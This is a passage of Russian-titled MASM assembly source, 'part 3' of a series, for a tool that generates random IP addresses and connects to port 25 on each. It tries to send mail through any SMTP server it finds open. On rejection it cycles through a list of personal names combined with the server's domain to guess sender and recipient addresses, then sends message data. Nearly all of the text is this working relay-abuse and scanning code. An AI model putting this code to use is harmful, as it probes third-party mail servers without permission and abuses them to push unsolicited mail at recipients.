Поиски свободного «почтальона Печкина». Часть 3

;============================================================
;============================================================
clear_buff_ proc uses ecx edi _addrbuff:DWORD,_sizebuff:DWORD
mov ecx,_sizebuff
mov edi, _addrbuff
___r:
mov byte ptr [edi],20h
inc edi
loop ___r

mov byte ptr [_addrbuff+ecx],0
ret
clear_buff_ endp
;============================================================

gen proc max_num:dword
mov eax,08088405h
xor edx,edx
mul seed
inc eax
mov seed,eax
mul max_num
ret
gen endp
;============================================================
recvlp proc
;call clear
pushad
mov ecx,512
lea edi,offset r_buf
r:
mov byte ptr [edi],00h
inc edi
loop r
mov byte ptr [r_buf+512],0
popad

invoke recv,sock,addr r_buf,512,0
.IF EAX!=SOCKET_ERROR
invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR r_buf
.ENDIF
ret
recvlp endp
;============================================================
ParseBuffer proc uses ebx edx ecx edi esi _str:DWORD,\
_szstr:DWORD,\
_sub:DWORD,\
_szsub:DWORD
LOCAL _i:DWORD
LOCAL _j:DWORD
LOCAL _b:DWORD
; 11 : int i=0;
mov _i, 0
; 12 : int j=0;
mov _j, 0
; 13 : int b=0;
mov _b, 0
; 14 :
; 15 :
; 16 : for (i = 0; i <= szstr; i++)
mov _i, 0
jmp @L2
@L1:
mov eax, _i
inc eax
mov _i, eax
@L2:
mov ecx, _i
cmp ecx, _szstr
jg @L_exit0

; 18 : for (j = 0; j <= szsub; j++)
mov _j, 0
jmp @L4
@L3:
mov edx, _j
inc edx
mov _j, edx
@L4:
mov eax, _j
cmp eax, _szsub
jg @L6
; 20 : if (str[i]==sub[j])
mov ecx, _str
add ecx, _i
movsx edx, BYTE PTR [ecx]
mov eax, _sub
add eax, _j
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
jne @L5

; 22 : b++;
mov edx, _b
inc edx
mov _b, edx

; 23 : if (b>=szsub)
mov eax, _b
cmp eax, _szsub
jz @L5

; 25 : return(&str[i+szsub]);
mov ecx, _i
add ecx, _szsub
mov eax, _str
add eax, ecx
inc eax

jmp @L_quit
@L5:
; 29 : }
jmp @L3
@L6:
; 30 : }
jmp @L1
@L_exit0:
; 31 :
; 32 : return(0);
xor eax, eax
@L_quit:
; 33 : }
ret ;0 <================== убрать !!!!
ParseBuffer endp
;============================================================
GetSegCount proc in_str:DWORD, delim:BYTE
LOCAL dummy_str[1024]:BYTE
LOCAL ctr:DWORD
xor ebx, ebx
mov ctr, 0

invoke lstrcpyn, ADDR dummy_str, [in_str], 1024
invoke lstrcat, ADDR dummy_str, ADDR delim

mov al, delim
lea edi, dummy_str
mov ecx, sizeof dummy_str

reload:
add ctr, 1
dscan:
inc ebx
cmp byte ptr dummy_str[ebx], NULL
je Done

scasb
je reload
jmp dscan

Done:
mov eax, ctr

ret
GetSegCount endp
;============================================================
gen_IP proc uses ebx
invoke Sleep,50
invoke GetTickCount
mov seed,eax
mov ebx,4

pushad
invoke lstrcpy,ADDR IP,ADDR s_ip_start
invoke gen,1
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR p
invoke gen,17
inc edx
invoke dwtoa, edx, ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR numBuffer
invoke lstrcat,ADDR IP,ADDR spc
popad

ret
gen_IP endp
;============================================================
;============================================================
; #########################################################################

MailRep proc _strSubj:DWORD,_strData:DWORD
LOCAL ia :in_addr
LOCAL _strSub_ [50] :BYTE
LOCAL _strDat_ [250]:BYTE
; #########################################################################
invoke lstrcpyn, ADDR _strSub_, _strSubj, 49
invoke lstrcpyn, ADDR _strDat_, _strData, 249


invoke CreateFile,ADDR fname_log,\
GENERIC_WRITE ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov pFile_log,eax
;***********************************************************************
;***********************************************************************
;***********************************************************************
.WHILE 1
call gen_IP
___first:
call _this_time
invoke _writeLog,eax

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR IP

invoke RtlZeroMemory,ADDR s_IP_str,250
invoke lstrcpy,ADDR s_IP_str-2,ADDR IP
;__________________________________________________________________________
; Тут содержимое письма
;invoke lstrcpy,ADDR s_IP_str,ADDR _strDat_
invoke lstrcat,ADDR s_IP_str,ADDR _strDat_
;__________________________________________________________________________
invoke RtlZeroMemory,ADDR s_SubjectIP,50
;invoke lstrcpy,ADDR s_SubjectIP,ADDR IP
;__________________________________________________________________________
; Тут тема письма
;invoke lstrcpy,ADDR s_SubjectIP,ADDR ...
invoke lstrcat,ADDR s_SubjectIP,ADDR _strSub_
;__________________________________________________________________________

invoke _writeLog,ADDR succ
; #########################################################################
; #########################################################################
; #########################################################################
; #########################################################################

invoke WSAStartup,101h,offset wsadata
cmp eax,INVALID_SOCKET
je ___error

invoke socket,AF_INET,SOCK_STREAM,0
cmp eax,INVALID_SOCKET
je ___error
mov sock,eax

invoke htons,25
mov s_addr.sin_port,ax
mov s_addr.sin_family,AF_INET
invoke inet_addr,ADDR IP
mov s_addr.sin_addr,eax


invoke connect,sock,addr s_addr,sizeof s_addr
cmp eax,SOCKET_ERROR
je ___error

invoke _writeLog,ADDR lf
call recvlp

;поздоровкатся-----------------------------------------------------
invoke send,sock,addr s_helo,szhelo,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp

pushad
;-------------------------------------------------------250
xor ecx,ecx
mov cx,30
lea esi, byte ptr[r_buf]
lea edi,s_DNS_host_
___sec_bl:
lodsb
cmp al,' '
jz ___jmp_next
loop ___sec_bl

___jmp_next:
xor ecx,ecx
mov cx,30

___m1_str:
lodsb
cmp al,' '
jz ___exit_str
stosb
loop ___m1_str
___exit_str:

popad
;-------------------------------------------------------250
invoke lstrcpyn,ADDR s_DNS_host_s,ADDR s_DNS_host_,50

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_DNS_host_
invoke _writeLog,ADDR lf

;от кого:---------------------------------
invoke send,sock,addr s_from_c,szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
cmp dword ptr [r_buf],' 055'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_FROM_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_FROM_fail
jmp ___MAIL_FROM_ok


___MAIL_FROM_fail:

invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax

.WHILE count_ >0
invoke clear_buff_, ADDR s_from_d,50

lea esi, szAvFw
___load_next_name_1:
lodsb
test al, al
jnz ___load_next_name_1
mov al, BYTE PTR [esi]
test al, al
jz ListDone

invoke lstrcpy,ADDR s_from_d,ESI
invoke lstrcat,ADDR s_from_d,ADDR s_sobaka
invoke lstrcat,ADDR s_from_d,ADDR s_DNS_host_

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_from_d
invoke _writeLog,ADDR lf

invoke send,sock,ADDR s_from_c, szfrom,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
;------------------------------------------ чистим поле MAIL FROM:<
invoke clear_buff_, ADDR s_from_d,50
;--------------------------
cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next
cmp dword ptr [r_buf],' 105'
jz ___next
cmp dword ptr [r_buf],' 305'
jz ___next
cmp dword ptr [r_buf],' 055'
jz ___next
cmp dword ptr [r_buf],' 355'
jz ___next


; Тут нужно востанивить значение полей s_from_c db "MAIL FROM:<"
;s_from_cc db "MAIL FROM:<" - 11
; db "_follower@mail.ru" - 17
; db 33 dup(20h) - 33
; db ">",0dh,0ah - 3
; ______________________
; 64
invoke lstrcpyn,ADDR s_from_c,ADDR s_from_cc,64
jmp ___MAIL_FROM_ok


___next:
jmp ___load_next_name_1
ListDone:
invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX

invoke _writeLog,ADDR s_DNS_host_

mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax

.ENDW
___MAIL_FROM_ok:
invoke send,sock,addr s_to_c,szto,0
call recvlp
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

cmp dword ptr [r_buf],' 055'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 155'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 355'
jz ___MAIL_TO_fail
cmp dword ptr [r_buf],' 255'
jz ___MAIL_TO_fail

jmp ___MAIL_TO_ok
___MAIL_TO_fail:

invoke lstrcpyn,ADDR s_DNS_host_,ADDR s_DNS_host_s,50
invoke GetSegCount, ADDR s_DNS_host_, "."
dec eax
mov dword ptr count_ , eax


.WHILE count_ >0
lea esi, szAvFw
___load_next_name_2:
lodsb
test al, al
jnz ___load_next_name_2
mov al, BYTE PTR [esi]
test al, al
jz ListDone_1

invoke lstrcpy,ADDR s_to_d,ESI
invoke lstrcat,ADDR s_to_d,ADDR s_sobaka
invoke lstrcat,ADDR s_to_d,ADDR s_DNS_host_

invoke _writeLog,ADDR tab1
invoke _writeLog,ADDR s_to_d
invoke _writeLog,ADDR lf
;-----------------------------------------------------------------------------------------------
cld
mov cx,50
; мы выбрали EDI так как ESI - у нас смотрит на перечень имен "Aaron","Andrey"...
mov edi,offset s_to_c
m1:
inc edi
mov al, byte ptr [edi]
cmp al,0
jz m2 ;выход, если 0
loop m1
m2:
mov byte ptr [edi],20h
;-----------------------------------------------------------------------------------------------
invoke send,sock,ADDR s_to_c, szto,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
invoke clear_buff_, ADDR s_to_d,50

cmp dword ptr [r_buf],' '
jz ___quit
cmp dword ptr [r_buf],' 005'
jz ___next_
cmp dword ptr [r_buf],' 105'
jz ___next_
cmp dword ptr [r_buf],' 305'
jz ___next_
cmp dword ptr [r_buf],' 055'
jz ___next_
cmp dword ptr [r_buf],' 355'
jz ___next_
cmp dword ptr [r_buf],' 455'
jz ___next_

;s_to_c db "RCPT TO: <" - 10
;s_to_d db "animator@e-mail.ru " - 28
; db 22 dup(20h) - 22
;s_to_e db">",0,0dh,0ah - 4
;szto equ $ - offset s_to_c ------------
; 64
invoke lstrcpyn,ADDR s_to_c,ADDR s_to_cc,64
jmp ___MAIL_TO_ok

___next_:
jmp ___load_next_name_2
ListDone_1:

invoke ParseBuffer,ADDR s_DNS_host_,SIZEOF s_DNS_host_,ADDR p,SIZEOF p -1
invoke lstrcpy,ADDR s_DNS_host_,EAX
invoke _writeLog,ADDR s_DNS_host_

mov eax, dword ptr count_
dec eax
mov dword ptr count_, eax
.ENDW
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
___MAIL_TO_ok:
invoke send,sock,addr s_data,szdata,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp


invoke send,sock,addr s_headers,szheaders,0
.IF EAX!=SOCKET_ERROR
.ENDIF
call recvlp
___quit:
invoke send,sock,addr s_quit,szquit,0
call recvlp
cmp dword ptr [r_buf],' 122'
jz ___success
___error:
invoke _writeLog,ADDR lf
invoke closesocket,sock
invoke WSACleanup
;------------------------------------------ чистим поле DNS
invoke RtlZeroMemory,ADDR s_DNS_host_,50
invoke RtlZeroMemory,ADDR s_DNS_host_s,50
.ENDW
___success:
invoke _writeLog,ADDR lf
call _this_time
invoke _writeLog,eax

invoke _writeLog,ADDR str_mail_sending

invoke closesocket,sock
invoke WSACleanup
invoke CloseHandle,pFile_log
ret
MailRep endp
end
;============================================================